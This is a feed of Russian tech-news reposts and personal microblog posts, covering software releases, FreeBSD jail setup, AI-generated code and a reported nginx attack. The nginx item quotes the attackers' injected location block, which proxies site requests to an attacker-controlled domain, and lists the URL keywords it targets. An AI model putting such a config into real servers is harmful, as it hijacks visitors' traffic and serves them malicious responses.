Отдельно отмечена значительная переработка программы для управления обновлением прошивки (Updater), в которой полностью переделан интерфейс, улучшено управление обновлениями и добавлена анимация прогресса выполнения операций. Переделанный вариант Updater признан не готовым для включения в состав LineageOS 23.2, но он будет предложен в сроком времени после достижения должного уровня стабильности.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64758

Warlock Corpse / Труп Колдуна - You and I are in a Dark Crypt Forever

https://youtu.be/5515PpSyLFc

#music

Инициатива по встраиванию моделей машинного обучения в ядро Linux

Интеграция ML-моделей в ядро может быть полезной для изменения логики работы подсистем с учётом обрабатываемых данных, оптимизации работы и изменения конфигурации в зависимости от внутреннего состояния систем. Применение машинного обучения, способного выявлять закономерности и строить прогнозы без ручной реализации алгоритмов, упростит подбор наиболее эффективной конфигурации ядра c учётом сложности и изменчивости современных рабочих нагрузок, а также позволит решать такие проблемы, как предсказание сбоев систем хранения.

Помимо движка для выполнения моделей рассматривается разработка инструментов сбора данных для обучения ML-моделей, непосредственно обучения модели и тестирования результата. Так как для выполнения ML-модели требуются операции с плавающей запятой, а в ядре недопускается прямое использование FPU, предложенный прототип представляет собой прослойку для обращения из различных подсистем ядра к ML-моделям, выполняемым в пользовательском пространстве, по аналогии с выносом в пользовательское пространство обработчиков SPDK, DPDK и ublk.

Вынос выполнения и обучения модели в пространство пользователя упрощает сопровождение и изолирует ядро от проблем в коде выполнения модели. На стадии обучения данные о состоянии и параметрах ядра могут как запрашиваться обработчиком из пользовательского пространства, так и передаваться прослойкой, выполняемой на уровне ядра. Для управления взаимодействия компонентами в ядре и пользовательском пространстве применяется sysfs. Возможно адаптивное обучение ML-модели, при котором подсистема ядра получает рекомендацию от ML-модели, применяет рекомендуемое изменение и оценивает эффективность рекомендации по изменению состояния.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64755

Anthropic опубликовал Си-компилятор, созданный AI-моделью Claude Opus и способный собрать ядро Linux

Весь код и документация к компилятору сгенерированы моделью Claude Opus 4.6. Участие человека свелось к определению тестовых сценариев, которым должен удовлетворять итоговый продукт. Интерактивный режим для разработки, отладки и контроля над качеством не применялся, Модель Claude Opus сама выполнила всю работу на основе поставленной задачи. Ручное рецензирование корректности работы компилятора не проводилось, поэтому он не рекомендован для использования помимо экспериментов. Степень прохождения тестовых наборов компиляторов, включая GCC Torture Tests, составляет 99%.

Для разработки компилятора было привлечено 16 AI-агентов, которые после двух недель работы и около двух тысяч сеансов в Claude Code сгенерировали 100 тысяч строк кода на Rust, выполняющих задачу сборки ядра Linux 6.9 для архитектур x86, ARM и RISC-V. При генерации кода использовался новый режим работы "agent teams", позволяющий организовать параллельную работу нескольких AI-агентов Claude над одной общей кодовой базой, осуществляемую автономно без вмешательства человека. По стоимости доступа к API создание компилятора оценено в 20 тысяч долларов (передано 2 миллиарда входных токенов и сгенерировано 140 миллионов выходных токенов).

Компилятор самодостаточен и не требует внешних зависимостей, кроме стандартной библиотеки Rust. Все компоненты созданы с нуля, включая фронтэнд, промежуточное представление (IR) на базе SSA, оптимизиатор, генератор кода, ассемблер, компоновщик и генератор отладочной информации в формате DWARF. Форнтэнд совместим на уровне опций с GCC и может использоваться в качестве прозрачной замены GCC. На выходе генерируются исполняемые файлы в формате ELF. Поддерживается только платформа Linux (задача поддержки macOS и Windows не ставилась).

Из ограничений отмечается отсутствие раздельных уровней оптимизации (уровни с -O0 по -O3, -Os и -Oz приводят к одинаковой оптимизации), имеются проблемы с использованием _Atomic и _Complex, частично поддерживается ключевое слово __attribute__ и частично реализовано использование инструкций NEON. Помимо ограничений, описанных в подготовленной AI документации к компилятору, в статье с анонсом проекта упоминаются некоторые дополнительные проблемы:

• Отсутствие поддержки компиляции в 16-разрядном режиме (необходимый для загрузки ядра 16-разрядный код был собран в GCC).
• Ошибки в реализациях компоновщика и ассемблера (при подготовке демонстрации использовались GNU assembler и GNU linker).
• Claudes-c-compiler пока не готов заменить реальные компиляторы, так как не все проекты успешно собираются.
• Cтепень оптимизации генерируемого кода хуже, чем в GCC с отключением всех режимов оптимизации.
• Качество сгенерированного Rust-кода приемлемое, но заметно хуже чем код, подготовленный профессиональным программистом.
• Проект близок к потолку возможностей модели Opus 4.6 - попытки исправить ошибки или добавить дополнительные возможности, как правило, приводили к нарушению имеющейся функциональности.

Нефаз - хорошее название для автобусов (или я опять не так прочёл).

Выпуск Wine 11.2

Наиболее важные изменения:

• В DbgHelp оптимизирована загрузка PDB-файлов.
• В crt (C runtime) добавлена поддержка выполнения конструкторов и деструкторов MSVC.
• Упрощена генерация версионированных ресурсов из переменных в makefile.
• Обновлены библиотеки libpng 1.6.54, libxslt 1.1.45 и libjpeg 10.
• Закрыты отчёты об ошибках, связанные с работой приложений: Bitcoin 0.3.21, Visual Basic 6, explorer.exe, Futuremark 3DMark Vantage 1.1.x, Alacritty, MilkyTracker, MMH7Editor, Pegasus Mail, Nexus Terminal.
• Закрыты отчёты об ошибках, связанные с работой игр: King of Dragon Pass, Imperivm: Great Battles of Rome, Black Mirror, The Hong Kong Massacre, Sam & Max Save the World: Culture Shock, Fifa 2005, 4Story, Divinity II: Developer's Cut, GTA: San andreas/Vice city, Shop Titans , Gothic 1, Kyodai Mahjongg, Codename Panzers Phase 1 и Codename Panzers Phase 2.

Finally, I found some time to install #brutaldon on the my #FreeBSD box in the #jail. Installation was pretty simple — just create thinjail and apply the next template to it (it is a Bastillefile):

CONFIG set enforce_statfs=1;
CONFIG set allow.mount.fdescfs;
CONFIG set allow.mount.procfs;
CONFIG set mount.procfs;
CONFIG set devfs_ruleset=70
RESTART

SYSRC clear_tmp_enable=YES
SYSRC clear_tmp_X=YES

CMD pkg bootstrap -f
CMD pkg update
PKG git py311-pipenv py311-lxml py311-sqlite3

CMD pw useradd brutaldon -s /bin/sh -m
CMD su - brutaldon -c 'cd /usr/home/brutaldon && git clone https://gitlab.com/brutaldon/brutaldon.git'
CMD su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && pipenv install'
CMD su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && pipenv run python ./manage.py migrate'

CONFIG remove ip4.addr;
CONFIG set ip4=inherit;
LIMITS pcpu 80
LIMITS memoryuse 2G
CP brutaldon /etc/rc.d/
SYSRC brutaldon_enable="YES"
RESTART

I used thinjail which uses the same network and network interfaces as the host system, because I suck in networking :-D.

Sadly, I don't understand how to use brutaldon with #Dillo — looks like it is impossible I'm able to login to mastodon.bsd.cafe only via OAuth form, which doesn't work in Dillo — instead of it I got the "old" form with login/password/OAuth code credentials. And at the end I got the screenshot №1.

In the Librewolf I successfully logged in via the OAuth form, so I'm able to use brutaldon only in the Librewolf :-( (see screenshot №2 and №3).

IIRC, @rl_dane you are using Brutaldon with Dillo ­— how do you achieve that (main question — how to login? :-D )?

P.S. Contents of brutaldon startup script:

#!/bin/sh

# PROVIDE: brutaldon
# REQUIRE: DAEMON
# KEYWORD: shutdown

. /etc/rc.subr

name=brutaldon
rcvar=brutaldon_enable
load_rc_config $name

: ${brutaldon_enable:=NO}

start_cmd="${name}_start"
stop_cmd="${name}_stop"
status_cmd="${name}_status"

brutaldon_start()
{
su - brutaldon -c 'cd /usr/home/brutaldon/brutaldon && HTTP_PROXY=http://localhost:20172 HTTPS_PROXY=http://localhost:20172 pipenv run python ./manage.py runserver 8082 > /dev/null 2>&1 &'
echo "Brutaldon started"
}

brutaldon_stop()
{
pkill -U $(id -u brutaldon) python
while /bin/test ! -z $(/usr/bin/pgrep -q -U $(id -u brutaldon) python); do
echo "Waiting for brutaldon to die"
sleep 5
done
echo "Brutaldon stopped"
}

brutaldon_status()
{
if pgrep -q -U $(id -u brutaldon) python; then
echo "Brutaldon is running"
else
echo "Brutaldon is stopped"
fi
}

run_rc_command "$1"

Sad part — even with big enough limits for the jail in the Bastillefile — brutaldon works not so fast. Possibly it is because it is written in Python, which wants a lot of memory/CPU, as I know from my experiments with home server, which has Intel Atom CPU inside and 2 Gb of memory :-D

Зацените мой новый крутой няшефон. Был подарен @mathlikemeph и @oxff ещё прошлой весной, но я думал, что он сдох, а оказалось, что нет.

Мне нравится дизайн и то, как используется круглый дисплей. При однократном нажатии на кнопку включения доступен циферблат, показывающий текущее время

Меню выбора приложений тоже сделано круглым, хоть и с не самой очевидной навигацией

Есть камера, звонки, смски, ФМ радио через наушники в качестве антенны и блюпуп. Это всё даже работает. Единственное, нельзя слушать радио в блюпуп наушниках, даже если воткнуты обычные, как антенна — звук всё равно идёт на динамик

Встроенной памяти там 35кб, форматирована в vfat

Заряжается по type c, имеет слоты для 2х симок и карту памяти

Качество звуков при звонках приемлемое

Есть более-менее сносный динамик и фонарик

В целом прикольно, посмотрю, как он завтра будет

Модель Bq circle 1416

Выпуск свободного звукового редактора Ardour 9.0

Ключевые изменения:

• Добавлена возможность редактирования MIDI-региона в отдельном окне в стиле "пианолы" (pianoroll) или в панели в нижней части главного окна. Отдельное окно открывается при двойном клике и предоставляет интерфейс, похожий на основную шкале времени, но без лишних элементов интерфейса и с возможностью просмотра параметров MIDI-автоматизации.
• Добавлена поддержка прямого редактирования содержимого MIDI-клипов (MIDI Cue), используя отдельно открывающуюся область "пианолы" (pianoroll) с теми же операциями редактирования MIDI, что применяются на шкале времени.
• Добавлена поддержка прямой записи в cue-слоты для создания в реальном времени зацикленных композиций (лупов) в стиле приложений Live и Bitwig. Можно заранее задать длительность записи (например, "записать 4 такта") или записывать до остановки вручную. Запись воспроизводится со следующей точки квантования, например, с начала такта.
• Добавлена возможность применения плагина с эффектом только к указанному звуковому фрагменту (региону). Эффект привязывается к региону и сохраняется при перемещении региона по шкале времени.
• Реализовано отдельное окно с перцептуальным анализатором, визуализирующим спектр нескольких сигналов в режиме реального времени, поддерживающим наложение дорожек друг на друга и позволяющим оценить, какой вклад вносит каждая дорожка в общий микс в выбранном частотном диапазоне.
• Добавлен режим быстрого создания мелодий и ритмов. Например, при удержании клавиши Shift во время перемещения мышью MIDI-нот редактор теперь сам расставит ноты в соответствии с сеткой и настройками нот, а при удержании Shift+Alt будет использовано чередование нот.
  
  
• Реализовано управление MIDI-автоматизацией при помощи клавиатуры. Для добавления новых контрольных точек автоматизации, изменения их позиции и значения можно использовать модификаторы клавиш, клавиши управления курсором и Enter.
• Добавлена поддержка импорта и экспорта полос микшера (mixer strips). Полосы микшера можно экспортировать как локальные (уровня сеанса) или глобальные пресеты для повторного использования.
• На платформах Linux и Windows реализована поддержка взаимодействия с интерфейсом с использованием мультитач навигации.
• Обновлена панель приложений, которая реорганизована для каждого контекста. Специфичные для редактора опции перемещены в панель инструментов, а расширенные опции по умолчанию скрыты (изменить видимость можно в настройках Preferences > Appearance > Application Bar). В панель инструментов добавлены кнопки для управления показом левой, правой и нижней панелей.
• Переделана панель List в окне редактора, в которой упрощено переключение между двумя часто используемыми вкладками, которые можно закрепить в верхней части панели.
• Переделан диалог создания нового сеанса (New Session), в котором задействован интерфейс на основе вкладок, позволяющий быстро переключаться между созданием нового сеанса, открытием прошлого сеанса и открытием произвольного сеанса с диска.
• Обновлена область линейки (Ruler Area), в которой объединены несколько ранее обособленных линеек (с маркерами на основе диапазонов и местоположений), добавлены кнопки для навигации по маркерам и создания новых маркеров.
• Добавлена поддержка MIDI-файлов и регионов, длительность которых превышает MIDI-данные (например, 4‑тактовый сегмент, где последняя нота заканчивается перед концом 4 такта).
• По умолчанию при записи задействован WAV-совместимый звуковой формат RF64.

д.Вотча, Вологодская область | Votcha, Vologda region, 2013.
(c) Alexander Aksakov

#closeuprussia #alexanderaksakov
#rf #photography #photo

@rf

Два недавно посмотренных фильма: "Сират" (Sirāt) и "Коленная чашечка" (Kneecap).
Их объединяет то, что оба вроде бы на первый взгляд про музыку, но на самом деле про гораздо больше.

Вот "Сират", который вроде бы про рейвы в пустыне, но на самом деле про бесконечный путь в никуда, которым является наша жизнь.
И вот "Коленная чашечка", который вроде бы про северо-ирландских хип-хоперов, но на самом деле про связь языка и культуры и про выламывание из навязанной реальности для достижения счастья.

Очень хорошие фильмы, смотрите их.

#Kneecap #Sirāt #кино

(#sirat)

Иона и кит

Защита от мусорных AI-изменений на GitHub. Оценка влияния вайб-кодинга на экосистему открытого ПО

В качестве краткосрочных путей решения проблемы рассматривается возможность быстрого удаления pull-запросов через web-интерфейс (удаления без оседания в истории вместо пометки закрытыми) и использование настраиваемых прав на отправку pull-запросов, позволяющих владельцам репозиториев разрешать передачу изменений только участникам, ранее вносившим изменения.

Из решений в долгосрочной перспективе упоминается расширение модели полномочий и предоставление сопровождающим инструментов для гибкого задания правил, определяющих кто имеет право создавать и рецензировать pull-запросы и каким требованиям должны соответствовать pull-запросы. Кроме того, предлагается задействовать AI для определения соответствия отправленного изменения правилам и стандартам качества каждого проекта (например, заданным в файле CONTRIBUTING.md), а также выявления и специальной пометки изменений, подготовленных при помощи AI.

Из высказанных в процессе обсуждения предложений также можно отметить создание фильтра, запрещающего отправку pull-запросов без предварительного открытия issue-обсуждений с пояснением причин реализации изменений, а также информирование сопровождающих о поступлении pull-запросов от новичков только после успешного прохождения тестов в системе непрерывной интеграции.

По статистике одного из ключевых разработчиков фреймворка genkit лишь одно из десяти изменений, подготовленных в AI, соответствует критериям для открытия pull-запроса. Один из участников проекта Azure Core Upstream подытожил основные опасения сопровождающих:

• Нарушение модели доверия при рецензировании - рецензирующие не могут быть уверены, что приславший изменение написал переданный код и понимает его суть.
• Сгенерированные в AI-ассистентах pull-запросы могут структурно выглядеть корректно, но быть логически неверными, небезопасными или непроверенными в работе.
• Практика построчного рецензирования остаётся обязательной, но она не может масштабироваться в условиях роста изменений, формируемых через AI-ассистенты.
• У сопровождающих возникает дискомфорт при принятии pull-запросов, которых они не полностью понимают, в то время как AI-ассистенты упрощают передачу крупных изменений без глубокого понимания.
• Повышается когнитивная нагрузка на сопровождающих, которые теперь должны не только проверять код, но и оценивать то, понимает ли его автор.
• Появление AI-инструментов не снизило, а увеличило нагрузку на сопровождающих.

Дополнительно можно отметить проведённое несколькими европейскими университетами исследование влияния вайб-кодинга на экосистему открытых проектов. Исследователи разработали модель равновесия экосистемы открытого кода, которая показала, что обратные связи, ранее отвечавшие за взрывной рост открытых проектов, после распространения вайб-кодинга создают обратный эффект - уменьшается число разработчиков готовых делиться кодом, сокращается разнообразие открыты проектов и снижается качество. Одним из вариантов решения проблемы упоминается внедрение модели финансирования, напоминающей Spotify, при которой AI‑платформы перераспределяют доходы от подписок на сервисы для разработчиков среди сопровождающих, в зависимости от степени использования проектов.

При вайб-кодинге разработчики перестают анализировать доступные решения, читать документацию, отправлять сообщения об ошибках и взаимодействовать с командами, развивающими открытые библиотеки. Открытые проекты теряют обратную связь с пользователям. Новым проектам становится сложнее пробиться, так как AI-ассистенты сами подбирают необходимые открытые библиотеки на основе информации, имевшейся на момент обучения модели. Из-за снижения прямого взаимодействия с пользователями страдает монетизация отрытых проектов, завязанных на услугах поддержки и показе рекламы/сборе пожертвований на сайтах. Из-за снижения обратной связи страдает качество. С другой стороны, вайб-кодинг повышает производительность труда при создании новых продуктов, основанных на чуждом коде, и упрощает внедрение новых библиотек.

Как пример приведён проект Tailwind CSS, число загрузок которого из репозитория NPM продолжает расти, но трафик к документации с начала 2023 года снизился на 40%, а доходы упали на 80%. Также отмечено снижение активности обсуждений на Stack Overflow примерно на 25%, спустя 6 месяцев после запуска ChatGPT.

#сегодня

#сегодня

Девятый экспериментальный выпуск среды рабочего стола Orbitiny

Из специфичных для Orbitiny возможностей отмечается: вызов действий через экранные жесты (очерчивание мышью определённого контура на пустой области рабочего стола); метки на пиктограммах (показываются для новых, изменённых, пустых или перемещённых через буфер обмена файлов, а также пустых каталогов); возможность вставки файла одновременно в несколько выбранных каталогов; поддержка размещения содержимого рабочего стола в любом каталоге (не только в $HOME/Desktop); использование отдельных десктоп-каталогов для каждого виртуального рабочего стола и монитора. Список типовых возможностей Orbitiny можно посмотреть в прошлом анонсе.

Среди изменений:

• В контекстное меню, вызываемое при клике правой кнопкой мыши на файле или каталоге, добавлена опция "Append to Clipboard", позволяющая прикрепить путь к выбранному файлу к уже имеющимся в буфере обмена файловым путям, чтобы потом разом скопировать файлы операцией "Paste".
• В контекстное меню добавлена опция "Paste to Image" для прикрепления помещённого в буфер обмена изображения к выбранному файлу c изображением (вертикально следом за имеющимся изображением).
• В контекстное меню добавлены опции "Add to Paste Basket" и "Paste to Basket". Первая опция позволяет добавить выбранные каталоги в набор каталогов, а вторая вставить файлы из буфера обмена в сформированный набор каталогов.
• Реализована операция "Image Join", позволяющая переместить мышью в режиме Drag&Drop одно или несколько изображений на другое изображение для их объединения в один файл. После перемещения выводится меню, позволяющее выбрать горизонтальное или вертикальное прикрепление изображений.
• Добавлен интерфейс для настройки параметров экрана и мониторов, таких как разрешение экрана и компоновка экранов в многомониторных конфигурациях.
• Добавлен интерфейс для управления яркостью экрана.
• Добавлена утилита orbitiny-screenshot-grabber для создания скриншотов.
• Функциональность копирования файлов (Orbitiny File Copier) и показа свойств файла (Orbitiny File Properties) вынесена в отдельные приложения, которые можно вызывать из скриптов для копирования группы файлов с показом индикатора прогресса и вывода информации о свойствах файла.
• В панель управления добавлена опция для переключения между выводом в форме списка и сетки пиктограмм.
• В обработчик действий в режиме Drag&Drop добавлена поддержка создания ярлыка открытия URL в web-браузере при перетаскивания URL на панель.
• В апплетах Application Menu, Drawer menu и Places Menu добавлены возможности для запуска элементов меню нажатием клавиши Enter и автоматического выделения элементов при поиске.
• В апплеты "Launcher", "Quick Launch" и "Drawer" добавлена опция для запуска с правами root.
• На рабочий стол по умолчанию добавлены ярлыки "Linux System", "Disks" и "Trash".
• Выполнено портирование с Qt 5.15.2 на Qt 6.10.1.

Поставка ОС Aluminium намечена на 2028 год. Поддержка ChromeOS сохранится до 2034 года

В Aluminium преимущественно используется архитектура и компоненты платформы Android, а интерфейс близок к развиваемому в ветке Android 16 десктоп-режиму для больших экранов, позволяющему одновременно работать с окнами нескольких приложений по аналогии с традиционной средой рабочего стола. При этом в платформе также задействованы отдельные системные сервисы, приложения, элементы прошивки, фоновые процессы и библиотеки из ChromeOS, а также перенесённый из Chrome OS интерфейс запуска приложений (Launcher). Из Android задействовано ядро Linux, GKI-модули (Generic Kernel Image), компоненты взаимодействия с оборудованием (HAL), Android Runtime, Android API, часть системных фоновых процессов и библиотек.

В марте состоятся детско-юношеские соревнования Linux-skills

С 1 марта по 10 марта 2026 года пройдёт онлайн отборочный этап, на котором участники пройдут тестирование. C 25 марта по 1 апреля 2026 года состоится финал - участникам будет предоставлен доступ к виртуальному стенду, на котором нужно будет настроить сеть и перевести рабочие станции с ОС MS Windows на Linux, после чего выполнить настройку Linux и сетей.

В соревнованиях используются дистрибутивы Simply Linux и Calculate Linux, OpenWRT на маршрутизаторах. Финал пройдёт очно на опорных площадках в Москве, Московской области (Щёлково) и Санкт-Петербурге. По запросу участников площадки могут быть организованы и в других городах.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64738

Good Vibrations (2013)

(#film #punk #чтопосмотреть)

Nginx 1.29.4 с устранением уязвимости. Атаки, меняющие настройки nginx для перенаправления трафика

Помимо уязвимости в выпуске 1.29.5 снижен с "crit" до "info" уровень логгирования SSL-ошибок "ech_required", а также устранено несколько проблем: устранено обращение к уже освобождённой памяти (use-after-free) после переключения на следующий бэкенд gRPC или HTTP/2; решена проблема с отправкой некорректного запроса HTTP/2 после переключения на следующий upstream-сервер; исправлено разрастание размера ответа с несколькими диапазонами; налажено выставление переменной HTTP_HOST при проксировании к бэкендам FastCGI, SCGI и uwsgi.

Дополнительно можно отметить выявление автоматизированной атаки, которая после успешного взлома серверов ограничивается изменением конфигурации nginx. Взлом осуществляется через неисправленную уязвимость React2Shell в серверных компонентах React. Вносимые в конфигурацию nginx изменения перенаправляли запросы к обслуживаемым сайтам на сервер атакующих, который осуществлял подстановку вредоносных изменений в возвращаемый пользователю ответ.

   location /%PATH%/ {
       set $fullurl "$scheme://$host$request_uri";
       rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break;
       proxy_set_header Host [Attacker_Domain];
       proxy_set_header X-Real-IP $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
       proxy_set_header X-Forwarded-Proto $scheme;
       proxy_set_header User-Agent $http_user_agent;
       proxy_set_header Referer $http_referer;
       proxy_ssl_server_name on;
       proxy_pass http://[Attacker_Domain];
   }

Таким образом вместо установки руткитов или вредоносного ПО на сервер, организована атака на клиентов, открывающих обслуживаемый на сервере сайт, без непосредственного изменения компонентов сайта на сервере. Атака в основном нацелена на перехват трафика доменов азиатских стран, а также доменов *.edu и *.gov. Через сервер атакующих перенаправляются выборочные запросы, например, содержащие в путях слова "pg", "pgslot", "slot", "game", "casino", "live", "help", "news", "page", "blog", "about", "support" и "info". Атака производится автоматизированно с использованием инструментария, выполняющего поиск и анализ конфигурации nginx, выбор и подстановку шаблона настроек, перезапуск nginx и проверку работы изменённого варианта.

Microsoft развивает открытую систему sandbox-изоляции Litebox

Идея "Library OS" в том, что сервисы операционной системы напрямую встраиваются в приложение вместо обращения к внешнему ядру ОС при помощи системных вызовов. В контексте Litebox к приложениям подключается изолирующая прослойка, предоставляющая минимальную платформу, транслирующую запросы к внешнему полнофункциональному программному интерфейсу. В качестве подобных внешних интерфейсов могут выступать ядро Linux, защищённые изолированные окружения OP-TEE (Open Portable Trusted Execution Environment), Webassembly-окружения или стандартная библиотека RustStd.

Формируемая через Litebox минимальная платформа применима для запуска приложений Linux, Windows и FreeBSD, вложенных ядер Linux и LVBS (Linux Virtualization Based Security). В качестве возможных областей применения Litebox упоминается обеспечения запуска немодифицированных Linux-программ в Windows, изоляция выполнения Linux-приложений на системах с ядром Linux, запуск программ поверх AMD SEV SNP для шифрования памяти, выполнение OP-TEE-программ в Linux и изоляция с использованием концепции LVBS.

Проект LVBS, представитили которого участвуют в разработке Litebox, развивает методы для защиты компонентов ядра Linux, использующие возможности гипервизоров и аппаратной виртуализации. Например, при помощи гипервизора могут изолироваться операции контроля подлинности модулей, верификации, управления доступом к паролям, ключам, структурам ядра и другим критически важным ресурсам. В случае эксплуатации уязвимости и компрометации ядра, атакующий не сможет получит доступ к подобным ресурсам, так как их обработчики выполняются вне текущего уровня привилегий. Litebox рассматривается контексте проекта LVBS как "безопасное ядро", защищающая обычное ядро гостевой системы при помощи аппаратной виртуализации.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64746

JetBrains переводит IDE IntelliJ на использование Wayland по умолчанию

Отмечается, что с момента прошлого тестирования прямой работы поверх Wayland в 2024 году, в реализации повышена стабильность работы поверх различных композитных серверов, добавлена функциональность drag-and-drop, обеспечена поддержка методов ввода и обеспечено естественно выглядящее декорирование окон. Из отличий поведения от сборки на базе X11 отмечается отсутствие центрирования или восстановления прошлого положения некоторых окон и диалогов, невозможность выноса некоторых всплывающих окон за пределы основного окна, отдельные несоответствия элементов декодирования окон (заголовок, кнопки управления оконном, тени, скругление углов) активной теме оформления рабочего стола.

Разработанный для IntelliJ Wayland-бэкенд WLToolkit открыт под лицензией GPLv2 и водит в состав JetBrainsRuntime (редакция OpenJDK). JetBrains также участвует в разработке проекта Wakefield, развивающего компоненты для поддержки Wayland в OpenJDK, позволяющие напрямую запускать графические Java-приложения в окружениях на базе Wayland.

Источник: https://www.opennet.ru/opennews/art.shtml?num=64745

В VirtualBox добавлена предварительная поддержка работы поверх гипервизора KVM

Начиная с коммита 5cb05ca, бэкэнд KVM находится в более или менее рабочем состоянии, по крайней мере для более "современных" гостевых систем. Старые и экзотические ОС, такие как MS-DOS, ещё не поддерживаются или не оттестированы. Если VirtualBox не может получить доступ к собственным драйверам ядра, он переключится на работу с использованием KVM, если он доступен. Сохранённые состояния между родным гипервизором и KVM должны быть совместимы. Тестовых сборок пока нет, и код доступен только в текущем GIT-срезе.

Реализованный бэкенд решит проблемы с запуском VirtualBox в дистрибутивах с поддержкой UEFI Secure Boot, таких как Fedora и RHEL, которые отказываются подписывать сторонние драйверы. Поддержка KVM также позволит запускать VirtualBox в Linux-системах, ещё не поддерживаемых в драйвере vboxdrv, использовать VirtualBox одновременно с другими системами виртуализации на базе KVM и задействовать расширенные механизмы аппаратного ускорения виртуализации, поддерживаемые в KVM, но не применяемые в VirtualBox (например, расширение APICv для виртуализации контроллера прерываний).

Источник: https://www.opennet.ru/opennews/art.shtml?num=64743

Нашёл кружку для коллекции

Выпуск набора утилит GNU Coreutils 9.10

Ключевые новшества:

• В man-страницах и подсказках, выводимых при указании опции "--help", обеспечено выделение жирным начертанием команд и опций, а также добавлена возможность привязи к командам гиперссылок для перехода на online-руководства на сайте gnu.org на поддерживающих такую возможность эмуляторах терминала.
• Изменено поведение утилиты timeout, которая теперь перехватывает обработку всех сигналов завершения процесса (SIGPIPE, SIGALRM, SIGHUP и т.п.) и перенаправляет их подконтрольному процессу, недопуская ситуацию, при которой утилита timeout может быть принудительно завершена, а подконтрольный процесс продолжит выполнение.
• В утилиту paste добавлена поддержка указания многобайтовых символов в опции "--delimiters".
• В утилите cp устранена регрессия, в некоторых ситуациях приводившая к бесконечному зацикливанию.
• На 3.2% сокращён размер исполняемого файла при унифицированной сборке, при которой предоставляется один общий для всех команд исполняемый файл "coreutils", а отдельные команды создаются через выставление символических ссылок на него. Добавлена опция "--enable-single-binary=hardlinks" для использования жёстких ссылок на единый исполняемый файл, а не символических.
• В утилиты 'stat' и 'tail' добавлена поддержка типа файловой системы "guest-memfd", который показывается в выводе "stat -f -c%T" и приводит к использованию полинга в "tail -f".
• В утилиту 'tail' добавлена опция "--debug".
• В утилиту 'du' добавлен короткий вариант опции "--apparent-size" - "-A", для совместимости с FreeBSD.
• В утилите 'du' в разделах с ФС Lustre до 9 раз ускорена обработка директорий, имеющих от 10 тысяч элементов.
• Прекращена сборка по умолчанию утилит 'kill' и 'uptime', которые теперь собираются только при указании в скрипте configure опции "--enable-install-program=kill,uptime".

Выпуск GCompris 26.0, обучающего набора для детей от 2 до 10 лет

Основные изменения:

• Реализован инструментарий для учителей GCompris-teachers, при помощи которого можно формировать собственные вопросники и контролировать успеваемость учеников по некоторым видам уроков.
• Добавлен новый урок "Рисующие колёса" (Drawing wheels), позволяющий рисовать узоры при помощи вложенных друг в друга вращающихся зубчатых колёс.
• Добавлен новый модуль "Вопросы с несколькими вариантами ответа", позволяющий проводить тестирование по вопросникам, подготовленным в интерфейсе для учителя.
• Обеспечен полный перевод на украинский, литовский и латышский языки, выполнены частичные переводы для русского (97%), грузинского (88%), азербайджанского (87%), эстонского (86%) и белорусского (83%) языков.

Выпуск офисного пакета LibreOffice 26.2

Ранее метка "Community" добавлялась, чтобы подчеркнуть, что сборка поддерживаться энтузиастами и не нацелена на применение на предприятиях. Несколько лет назад наименование LibreOffice Community было введено для более явного разделения с продуктами для предприятий семейства LibreOffice Enterprise, для которых партнёрскими компаниями предоставляется коммерческая поддержка, возможность получать обновления длительное время (LTS) и дополнительные функции, такие как SLA (Service Level Agreements). В конечном счёте решено убрать метку "Community", так как её наличие при загрузке сбивало с толку и вводило пользователей в замешательство - некоторые считали, что это только версия для некоммерческого применения, в то время как она была без ограничений доступна бесплатно всем без исключения, в том числе корпоративным пользователям.

Наиболее заметные изменения:

• Добавлена поддержка импорта и экспорта документов в формате Markdown, а также вставки текста с разметкой в формате Markdown через буфер обмена. При импорте документов Markdown возможно использование шаблонов ODT/DOCX для настройки внешнего вида.
• Проведена работа по повышению производительности и отзывчивости интерфейса при открытии, редактировании и сохранении больших файлов. Значительно ускорен экспорт в файлов в формате EPUB. Ускорена отрисовка форм и SVG-изображений с шаблонной заливкой.
• Улучшена совместимость с документами, созданными в проприетарных офисных пакетах. Улучшена поддержка открытых стандартов.
• В Linuх по умолчанию задействованы диалоги выбора цвета, предоставляемые библиотеками GTK и Qt, вместо специфичного для LibreOffice диалога. Изменить данное поведение можно через настройки "Tools ▸ Options ▸ LibreOffice ▸ General".
• Во всех диалоговых окнах задействованы вертикальные вкладки с пиктограммами.
• Добавлена опция для использования в диалогах горизонтальных вкладок вместо вертикальных.
• Добавлена возможность вставки гиперссылки через контекстное меню, показываемое для выделенного текста.
• В диалог создания скриншотов добавлена возможность копирования изображения в буфер обмена, а не только сохранения в файл.
• Предложен новый набор символов для пометки элементов в неупорядоченных списках. Обновлена библиотека изображений для неупорядоченных списков.
• На использование виджета IconView вместо ValueSet переведены диалог выбора темы оформления, боковая панель Layouts в Impress, а также пресеты и стили теней при настройке оформления границ страницы.
• Диалоги перехода к указанной странице, слайду или листу электронной таблицы переведены на работу в асинхронном режиме.
• Добавлена поддержка встроенных в документы шрифтов, лицензия на которые запрещает использование при редактировании (ранее подобные шрифты игнорировались, а теперь могут показываться при открытии документа в режиме только для чтения).
• Сборки для Linux теперь формируются для систем с архитектурой x86-64-v2 или новее.
• На платформах Windows и macOS вместо GDI и Aqua для отрисовки задействована библиотека Skia, применяемая в Google Chrome, Firefox, ChromeOS, Android и Flutter, и поддерживающая отрисовку с использованием GPU.
• Изменения в Writer:
  • Добавлены режимы выравнивания абзаца по началу или концу, позволяющие выравнивать абзацы в соответствии с направлением текста (слева направо или справа налево).
  • Обеспечена более заметная отрисовка сетки. В функции "Snap to Grid" реализовано более точное выравнивание объектов по сетке.
    
    
  • Добавлена опция для запрета перетаскивания выделенного текста в режиме Drag&Drop ("Tools ▸ Options ▸ LibreOffice ▸ Writer ▸ Formatting Aids: Drag 'n Drop").
  • Улучшено отображение плавающих таблиц вместе с абзацами с атрибутами, запрещающими разделение на страницы или предписывающими вывод на одной странице со следующим абзацем.
  • При отслеживании изменений улучшено сохранение информации о старом форматировании текста для ODT и DOCX. Улучшено отслеживание частично удалённых абзацев.
  • При вставке изображения из буфера обмена обеспечено автоматическое добавление подписи под изображением при включении режима "AutoCaption".
